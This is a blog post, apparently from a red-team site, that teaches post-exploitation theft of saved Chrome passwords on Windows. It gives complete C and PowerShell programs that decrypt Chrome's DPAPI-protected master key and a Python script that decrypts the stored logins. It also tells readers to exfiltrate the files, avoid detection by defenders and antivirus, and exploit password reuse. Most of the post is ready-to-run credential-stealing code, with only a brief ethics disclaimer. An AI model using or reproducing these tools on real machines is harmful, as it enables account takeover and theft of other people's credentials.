Top Categories

Spotlight

todayJanuary 2, 2024

Red Teaming + Social Engineering krptyk

Reverse Proxy Phishing With Evilginx

Reverse proxy phishing with Evilginx is a technique where a phishing site acts as a proxy server, intercepting legitimate requests and forwarding them to the genuine website while capturing sensitive information from users. This approach allows us to create convincing phishing campaigns by seamlessly proxying the target site, making it [...]


Behind the Chrome Vault: A Guide to Decrypting Credentials

Penetration Testing + Cyber security + Red Teaming krptyk todayOctober 15, 2023

Background
share close

For many, Google Chrome is not just a browser but an essential tool used daily. From saving passwords to preserving cookies for easy site navigation, Chrome does a lot in the background to enhance a users browsing experience. However, have you ever wondered where all this data is stored and how it’s protected? This guide unravels the secrets of Chrome’s encrypted storage, presenting a step-by-step approach to decrypt and access this information.

There have been multiple times during a red teaming engagement, especially during post-exploitation phases, where it became necessary to extract sensitive data from compromised endpoints. One such sensitive piece of data is the master encryption key used by web browsers to securely store user credentials. In this tutorial, I will detail how to extract this key from Google Chrome. It is prevalent that a lot of users don’t practice proper hygiene during their daily browsing. What happens when this is the case? Well, lets get into it:

Prerequisite: Ensure you have authorised access to the endpoint in question and that this is done for ethical purposes only. I am not responsible for anyone using this without legal approval.

The Groundwork

This process will assume that you have already gained some form of compromised access to the endpoint that is in scope.

Step 1: Locate the Local State File

To start the decryption process, the very first step is to locate the ‘Local State’ file, which plays an integral role in Chrome’s data encryption scheme. This file is stored within the Chrome user data directory.

  1. Open a file explorer on your system.
  2. Navigate to the following path:
C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\<local state>

In the above path, %USERNAME% is a Windows environment variable that will be replaced by your system’s username. After navigating to the ‘User Data’ directory, you should locate a file named <local state>. This file contains a multitude of Chrome’s configuration data, including information pertinent to our decryption task.

Understanding the Master Key

Before we dive into the extraction process, let’s understand what a master key is. The master key is a cryptographically secure key used by Google Chrome to encrypt sensitive user data, including passwords and cookies. The beauty of this encryption mechanism is that even if an attacker gets hold of encrypted data, without the master key, the data remains inaccessible.

This master key is unique per user installation, ensuring that even if two users have the same password saved in Chrome, the encrypted data will be different. The ‘Local State’ file we located earlier holds this master key, albeit in an encrypted format.

Extracting the Master Key

To retrieve the master key, we can leverage C programming. Using specific libraries and system calls, we can read the ‘Local State’ file, decrypt the master key, and then save it to a local file for further operations.

The following C code provides a method to achieve this:

//Example compilation: gcc getMasterKey.c -o getMasterKey.exe -lcrypt32

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
#include <dpapi.h>

typedef struct {
    const char *filepath;
    const char *output_filepath;
} Arguments;

void parse_args(int argc, char *argv[], Arguments *args) {
    for (int i = 1; i < argc; i++) {
        if (strcmp(argv[i], "-f") == 0 && i + 1 < argc) {
            args->filepath = argv[++i];
        } else if (strcmp(argv[i], "-o") == 0 && i + 1 < argc) {
            args->output_filepath = argv[++i];
        } else {
            fprintf(stderr, "Unknown argument or missing value: %s\n", argv[i]);
            exit(EXIT_FAILURE);
        }
    }
}

void find_master_key(Arguments *args) {
    FILE *file = fopen(args->filepath, "r");
    if (file == NULL) {
        fprintf(stderr, "Could not open file\n");
        exit(EXIT_FAILURE);
    }

    char line[1024];  // Adjust buffer size as necessary
    char *value_ptr = NULL;
    while (fgets(line, sizeof(line), file) != NULL) {
        char *key_ptr = strstr(line, "encrypted_key");
        if (key_ptr != NULL) {
            char *colon_ptr = strchr(key_ptr, ':');
            if (colon_ptr != NULL) {
                value_ptr = colon_ptr + 2;  // move past the colon, space, and the first double quote
                char *end_ptr = strchr(value_ptr, '"');
                if (end_ptr != NULL) {
                    *end_ptr = '\0';  // terminate string at the ending double quote
                }
                break;  // exit the while loop
            }
        }
    }
    fclose(file);

    if (value_ptr == NULL) {
        fprintf(stderr, "String 'encrypted_key' not found\n");
        exit(EXIT_FAILURE);
    }

    printf("Extracted encrypted_key: %s\n", value_ptr);

    DWORD bufferSize = strlen(value_ptr);
    BYTE *decodedData = malloc(bufferSize);

    if (!CryptStringToBinaryA(value_ptr, bufferSize, CRYPT_STRING_BASE64, decodedData, &bufferSize, NULL, NULL)) {
        fprintf(stderr, "Error decoding base64 string.\n");
        free(decodedData);
        exit(EXIT_FAILURE);
    }

    if (bufferSize <= 5 || memcmp(decodedData, "DPAPI", 5) != 0) {
        fprintf(stderr, "Data doesn't start with DPAPI.\n");
        free(decodedData);
        exit(EXIT_FAILURE);
    }

    DATA_BLOB input, output;
    input.pbData = decodedData + 5;
    input.cbData = bufferSize - 5;

    if (!CryptUnprotectData(&input, NULL, NULL, NULL, NULL, 0, &output)) {
        fprintf(stderr, "CryptUnprotectData failed with error code %u\n", GetLastError());
        free(decodedData);
        exit(EXIT_FAILURE);
    }

    FILE *outputFile = fopen(args->output_filepath, "wb");
    if (!outputFile) {
        fprintf(stderr, "Could not open the output file.\n");
        free(decodedData);
        LocalFree(output.pbData);
        exit(EXIT_FAILURE);
    }
    
    fwrite(output.pbData, 1, output.cbData, outputFile);
    fclose(outputFile);
    printf("Master key written to %s\n", args->output_filepath);

    free(decodedData);
    LocalFree(output.pbData);
}

int main(int argc, char *argv[]) {
    Arguments args = {0};
    parse_args(argc, argv, &args);

    if (args.filepath == NULL || args.output_filepath == NULL) {
        fprintf(stderr, "File path and output file path are required\n");
        printf("Usage:\n");
        printf("[+] -f path to local state file\n");
        printf("[+] -o file to output decoded key to\n\n");
        exit(EXIT_FAILURE);
    }

    find_master_key(&args);

    return 0;
}

You can execute the C program with the following command:
(I allowed the input of the file as we can copy and paste it somewhere else and rename it to make things harder for the blue team to follow). This has to be run on the local machine though otherwise the CryptUnprotectData API won’t return the right user context.

.\getMasterKey.exe -f <Local_State file location> -o <masterkey output> 

Prefer to use PowerShell instead?

param (
    [Parameter(Mandatory=$true)]
    [string]$InputFilePath,

    [Parameter(Mandatory=$true)]
    [string]$OutputFilePath
)

# Load the necessary .NET assembly
Add-Type -AssemblyName "System.Security"

# Read the file
$localStateContent = Get-Content -Path $InputFilePath -Raw

# Use regex to find the encrypted_key value
$matchFound = $localStateContent -match '"encrypted_key"\s*:\s*"([^"]+)"'

if (-not $matchFound) {
    Write-Error "Could not find 'encrypted_key' in the input file."
    exit
}

$encryptedKeyBase64 = $matches[1]

# Convert the base64 string to byte array
$encryptedKeyBytes = [System.Convert]::FromBase64String($encryptedKeyBase64)

# Strip the 'DPAPI' prefix
$dpapiBytes = $encryptedKeyBytes[5..($encryptedKeyBytes.Length - 1)]

# Decrypt the bytes using DPAPI
$decryptedBytes = [System.Security.Cryptography.ProtectedData]::Unprotect($dpapiBytes, $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)

# Write the decrypted master key to the output file
[System.IO.File]::WriteAllBytes($OutputFilePath, $decryptedBytes)

Write-Output "Master key written to $OutputFilePath"

You can execute the PowerShell command with:

.\GetMasterKey.ps1 -InputFilePath "path_to_Local State" -OutputFilePath "path_for_decoded_key"

At this point you might be asking what is the code doing?

Well, the provided code serves as a tool to extract and decrypt the master key from Chrome’s ‘Local State’ file using the Windows Data Protection API (DPAPI).

Here’s a brief breakdown of the code:

  1. Includes and Definitions:
    • Necessary header files are included for the code’s operations.
    • A struct Arguments is defined to store command-line arguments: file path to the ‘Local State’ file and an output file path to save the decrypted master key.
  2. Parsing Command-line Arguments (parse_args):
    • The function parse_args processes command-line arguments to get the paths to the input and output files.
  3. Finding and Decrypting the Master Key (find_master_key):
    • The ‘Local State’ file is opened and read.
    • It searches for a line containing the string “encrypted_key”, which should have the master key in encrypted form.
    • Once the encrypted key is located, the code proceeds to decode its base64 format.
    • It then checks if the decoded data starts with “DPAPI”. If it doesn’t, an error is raised.
    • The CryptUnprotectData function, part of the DPAPI, is then called to decrypt the master key.
    • The decrypted master key is saved to the specified output file.

Purpose of DPAPI:

The Data Protection API (DPAPI) is a pair of function calls within the Windows operating system that provides OS-level data protection services to user and system processes. In simpler terms, DPAPI is used to encrypt and decrypt data. It’s a secure way of storing secrets like passwords or keys without applications having to implement their encryption schemes.

In this context, Google Chrome uses DPAPI to encrypt the master key on Windows machines. The code extracts the encrypted master key and uses DPAPI’s decryption capabilities (CryptUnprotectData) to get the decrypted master key.

It’s worth noting that since Chrome uses the user-specific Windows DPAPI to encrypt the master key, the decryption (using the code above) needs to be executed on the same machine and under the same user context as the one where Chrome encrypted the data to successfully obtain the master key.

We’ll need the output file for the next part so make sure to exfiltrate it to your local machine.

Step 2: Decrypting the Chrome credentials offline

I setup as much of this to be done offline as possible to avoid triggering any alerts from the blue team and leaving as little artifacts as possible. (But lets be honest making explicit calls from an unknown program to the Microsoft Data Protection API will trigger a lot of alarms to any good EDR). With that being said, currently, the PowerShell and C program above do not trigger Windows Defender.

Now we need to exfiltrate the Login Data file and take it offline, the Login Data file is located in the following folder:

C:\Users\%USERNAME%\AppData\Local\Google\Chrome\User Data\Default

Looking at the Login Data file, it is in the form of an SQLite db but we can get key info from it just from looking at it in notepad:

You can see that there is cleartext of the URL’s for which credentials are potentially saved. This is a good way for us to quickly pull this file, check it and see if there is actually anything even worthwhile for it. In this case it looks like there might be credentials for my website so lets continue!

Once you have extracted the Login Data file to your local machine we can begin the process of decrypting it and getting the clear text credentials. For this part we can use the following Python script (heavily inspired from: https://github.com/agentzex)

import os
import sqlite3
import shutil
from Crypto.Cipher import AES
import argparse

def generate_cipher(aes_key, iv):
    return AES.new(aes_key, AES.MODE_GCM, iv)

def decrypt_payload(cipher, payload):
    return cipher.decrypt(payload)

def decrypt_password(buff, master_key):
    try:
        iv = buff[3:15]
        payload = buff[15:]
        cipher = generate_cipher(master_key, iv)
        decrypted_pass = decrypt_payload(cipher, payload)
        decrypted_pass = decrypted_pass[:-16].decode()  # remove suffix bytes
        return decrypted_pass
    except Exception as e:
        return "Chrome < 80"

def display_credentials(url, username, decrypted_password):
    separator = "-" * 60
    print(separator)
    print(f"URL: {url}")
    print(f"User Name: {username}")
    print(f"Password: {decrypted_password}")
    print(separator)
    print("\n")

if __name__ == '__main__':
    parser = argparse.ArgumentParser(description="Retrieve Chrome credentials.")
    parser.add_argument("-f", "--file", help="Path to the Chrome login data.", required=True)
    parser.add_argument("-k", "--key", help="Path to the master key file.", required=True)
    
    args = parser.parse_args()

    # Reading master key from the provided file
    with open(args.key, 'rb') as f:
        master_key = f.read()

    temp_db = "Loginvault.db"
    shutil.copy2(args.file, temp_db)  # making a temp copy since Login Data DB is locked while Chrome is running
    conn = sqlite3.connect(temp_db)
    cursor = conn.cursor()

    try:
        cursor.execute("SELECT action_url, origin_url, username_value, password_value FROM logins")
        for r in cursor.fetchall():
            action_url = r[0]
            origin_url = r[1]
            url = action_url if action_url else origin_url
            username = r[2]
            encrypted_password = r[3]
            decrypted_password = decrypt_password(encrypted_password, master_key)

            display_credentials(url, username, decrypted_password)
    except Exception as e:
        print("Error:", e)

    cursor.close()
    conn.close()

    try:
        os.remove(temp_db)
    except Exception as e:
        print("Error removing temp DB:", e)

Run this Python script as follows: chromeDecrypt.py -f <Path to Login Data> -k <Path to master key file>

Now that we’ve got everything sorted all we need to do is run our script. Let’s see what credentials we can get from this file:

Awesome, we were able to decrypt the credentials and gain my super secure password to my site (obviously this isn’t actually my login details :P).

Another interesting point being if you managed to get access to someones machine physically or through RDP with pass the hash using xfreerdp or something similar you can get these creds right from the browsers login page. In this test case, I don’t know the password to the computer I am on but I have physical access to it. You can see below that I cannot actually get access to the stored credentials in chrome since I don’t know the password:

But remember previously how we can see the URLs in plain text from the Login Data file or if you load the file into and SQLite browser seen below:

With this information we can browse to the page with the login credentials saved, in this case my website and edit the type field and get it to show us the clear text password. As seen below, the password is replaced with non descriptive symbols:

But if we make a simple change to the password input field type from password to text.

Hit F12, find the input type=password and modify it from password to text and then you’ll have the clear text password:

Now I know that this was a very rudimentary example as you can simply toggle the visibility of the password, but not all websites include this or why wouldn’t you just login with the saved creds? You certainly could but let’s remember password reuse here.

On that final note, don’t forget to check which pages the user has explicitly told Chrome not to save passwords for, it’s likely that there is some form of password reuse and you might be able to get access to those pages as well even though there isn’t a saved password for them.

A final piece of advice, Chrome isn’t the most secure way to store your passwords, remember to use a good password manager.

Written by: krptyk

Tagged as: .

Rate it

Previous post

todaySeptember 20, 2023

close

Cyber security krptyk

Encrypting Shellcode to Evade AV

Bypassing antivirus (AV) detection is a constant challenge for ethical hackers and penetration testers. One effective technique used by attackers is the encryption or obfuscation of malicious shellcode. In this ...

Post comments (0)

Leave a reply

Your email address will not be published. Required fields are marked *